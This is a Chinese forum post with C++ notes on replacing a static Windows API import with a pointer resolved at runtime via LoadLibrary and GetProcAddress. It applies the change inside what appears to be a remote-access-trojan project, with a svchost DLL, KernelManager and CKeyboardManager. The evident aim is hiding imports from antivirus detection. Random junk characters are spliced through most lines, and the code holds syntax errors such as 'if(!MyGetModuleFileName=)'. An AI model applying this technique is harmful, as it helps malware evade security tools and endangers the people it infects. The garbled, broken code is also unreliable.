[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
$ ~/ Q; D( ^2 D; bsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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' d5 g: z7 Y. q9 O8 Q3 W5 y) N# BDTDY.h：( H- k! H3 k! d8 I6 o
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#if _MSC_VER>10008 G7 R; E& j8 b* ]0 ~* ?6 s) E
#pragma once
1 C8 V! T! r% h; V* H6 Z. K0 f$ ~#endif //_MSC_VER>1000
# h" @8 d0 W. J" p+ N#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);6 w: t/ _/ W9 j4 D0 g( m5 f
class DTDY1 `1 a0 {( t* ?1 X& s
{  M3 \+ E3 P9 O& c& R  Q! k  W/ Q
public:
3 w1 K# P6 i* u1 Q6 iDTDY();4 J+ }+ k/ x0 B% K# q+ W* _
virtual ~DTDY();8 y+ Q$ @% I3 Y
public:
6 a  s: }2 h/ `# M* J9 `3 _static pGetModuleFileNameA MyGetModuleFileName;
& T8 `9 [; ^. t( F2 wstatic BOOL FunInitiallization();
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#endif1 g: f6 `  W% v# ^7 z4 z* l2 _
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0 [! R3 N* [0 C' ~! L+ Y+ kDTDY.cpp:
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#include "DTDY.h"& f4 |- C8 z3 s
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
( y1 O* E7 Z7 R  i# l- x: k( M+ FDTDY:TDY(); {& W7 m6 }+ t5 a
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}
, r: {2 U0 b3 Q+ k5 R% X& @$ pDTDY::~DTDY()% h' T7 i+ m, `! l
{
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BOOL DTDY::FunInitiallization()
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' z; L! p" T7 O8 g! ?' N4 F; y3 _HMODULE hModule=LoadLibrary("kernel32.dll");- s8 o  I# h. b! i; @: I
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
7 J# w2 f7 v! b2 i+ c$ s, `if(!MyGetModuleFileName=) return FALSE;( z/ a4 W" D3 L# M
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return TRUE;
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svchost.cpp:9 z/ X/ f% I% m* @

7 x8 W( w4 b* G; X, v$ g/ Q#include "DTDY.h"
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% |2 J7 s! X4 ^! G* S: s# ?! ?BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:. r& _4 m! I( g/ m
if(!DTDY::FunInitiallization()) return FALSE;) e, [. ?0 h! l) g7 w% B
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break;2 S/ F0 e' D- o/ g9 @3 t/ l, ~
}
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5 d  a: x" i5 b( }' iGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def. Y" {6 X* k* x# m& j; w
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));2 I% d2 Q; ?+ U, b; j. m: d' Q
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1 _% h8 \  V: w6 t) dKernelManager.cpp:0 @+ A* k+ H. O3 H; V5 u+ A- J
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#include "../DTDY.h"7 {0 D4 n0 F# ?% Q% ?0 e8 W2 @
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
  j  X4 E; K2 D4 T6 X: l# J% V: m改写为  O9 R8 D( P7 j2 m8 U
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));. k. z/ _. o% O' }) l  L% h0 f
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